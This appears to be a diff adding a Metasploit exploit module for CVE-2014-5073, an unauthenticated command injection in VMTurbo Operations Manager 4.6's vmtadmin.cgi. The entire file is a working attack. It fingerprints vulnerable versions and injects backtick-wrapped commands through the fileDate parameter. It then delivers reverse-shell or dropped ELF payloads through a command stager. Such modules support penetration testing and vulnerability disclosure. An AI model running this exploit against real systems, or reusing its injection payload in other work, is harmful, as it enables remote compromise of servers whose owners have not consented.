|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated |
| 20 | + OS Command injection in the web interface. Use reverse payloads for the most |
| 21 | + reliable results. Since it is a blind OS command injection vulnerability, |
| 22 | + there is no output for the executed command when using the cmd generic payload. |
| 23 | + Port binding payloads are disregarded due to the restrictive firewall settings. |
| 24 | +
|
| 25 | + This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and |
| 26 | + 4.6. |
| 27 | + }, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + # Secunia Research - Discovery and Metasploit module |
| 31 | + 'Emilio Pinna <emilio.pinn[at]gmail.com>' |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + ['CVE', '2014-5073'], |
| 37 | + ['OSVDB', '109572'], |
| 38 | + ['URL', 'http://secunia.com/secunia_research/2014-8/'] |
| 39 | + ], |
| 40 | + 'DisclosureDate' => 'Jun 25 2014', |
| 41 | + 'Privileged' => false, |
| 42 | + 'Platform' => %w{ linux unix }, |
| 43 | + 'Payload' => |
| 44 | + { |
| 45 | + 'Compat' => |
| 46 | + { |
| 47 | + 'ConnectionType' => '-bind' |
| 48 | + } |
| 49 | + }, |
| 50 | + 'Targets' => |
| 51 | + [ |
| 52 | + [ 'Unix CMD', |
| 53 | + { |
| 54 | + 'Arch' => ARCH_CMD, |
| 55 | + 'Platform' => 'unix' |
| 56 | + } |
| 57 | + ], |
| 58 | + [ 'VMTurbo Operations Manager', |
| 59 | + { |
| 60 | + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], |
| 61 | + 'Platform' => 'linux' |
| 62 | + } |
| 63 | + ], |
| 64 | + ], |
| 65 | + 'DefaultTarget' => 1 |
| 66 | + )) |
| 67 | + |
| 68 | + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') |
| 69 | + end |
| 70 | + |
| 71 | + def check |
| 72 | + begin |
| 73 | + res = send_request_cgi({ |
| 74 | + 'method' => 'GET', |
| 75 | + 'uri' => "/cgi-bin/vmtadmin.cgi", |
| 76 | + 'vars_get' => { |
| 77 | + "callType" => "ACTION", |
| 78 | + "actionType" => "VERSIONS" |
| 79 | + } |
| 80 | + }) |
| 81 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 82 | + vprint_error("#{peer} - Failed to connect to the web server") |
| 83 | + return Exploit::CheckCode::Unknown |
| 84 | + end |
| 85 | + |
| 86 | + if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/ |
| 87 | + version = $2 |
| 88 | + build = $1 |
| 89 | + |
| 90 | + vprint_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected") |
| 91 | + else |
| 92 | + vprint_status("#{peer} - Unexpected vmtadmin.cgi response") |
| 93 | + return Exploit::CheckCode::Unknown |
| 94 | + end |
| 95 | + |
| 96 | + if version and version <= "4.6" and build < "28657" |
| 97 | + return Exploit::CheckCode::Appears |
| 98 | + else |
| 99 | + return Exploit::CheckCode::Safe |
| 100 | + end |
| 101 | + end |
| 102 | + |
| 103 | + def execute_command(cmd, opts) |
| 104 | + begin |
| 105 | + res = send_request_cgi({ |
| 106 | + 'uri' => '/cgi-bin/vmtadmin.cgi', |
| 107 | + 'method' => 'GET', |
| 108 | + 'vars_get' => { |
| 109 | + "callType" => "DOWN", |
| 110 | + "actionType" => "CFGBACKUP", |
| 111 | + "fileDate" => "\"`#{cmd}`\"" |
| 112 | + } |
| 113 | + }) |
| 114 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 115 | + vprint_error("#{peer} - Failed to connect to the web server") |
| 116 | + return nil |
| 117 | + end |
| 118 | + |
| 119 | + vprint_status("Sent command #{cmd}") |
| 120 | + end |
| 121 | + |
| 122 | + # |
| 123 | + # generate_payload_exe doesn't respect module's platform unless it's Windows, or the user |
| 124 | + # manually sets one. This method is a temp work-around. |
| 125 | + # |
| 126 | + def check_generate_payload_exe |
| 127 | + if generate_payload_exe.nil? |
| 128 | + fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.") |
| 129 | + end |
| 130 | + end |
| 131 | + |
| 132 | + def exploit |
| 133 | + |
| 134 | + # Handle single command shot |
| 135 | + if target.name =~ /CMD/ |
| 136 | + cmd = payload.encoded |
| 137 | + res = execute_command(cmd, {}) |
| 138 | + |
| 139 | + unless res |
| 140 | + fail_with(Failure::Unknown, "#{peer} - Unable to execute payload") |
| 141 | + end |
| 142 | + |
| 143 | + print_status("#{peer} - Blind Exploitation - unknown exploitation state") |
| 144 | + return |
| 145 | + end |
| 146 | + |
| 147 | + check_generate_payload_exe |
| 148 | + |
| 149 | + # Handle payload upload using CmdStager mixin |
| 150 | + execute_cmdstager({:flavor => :printf}) |
| 151 | + end |
| 152 | +end |
0 commit comments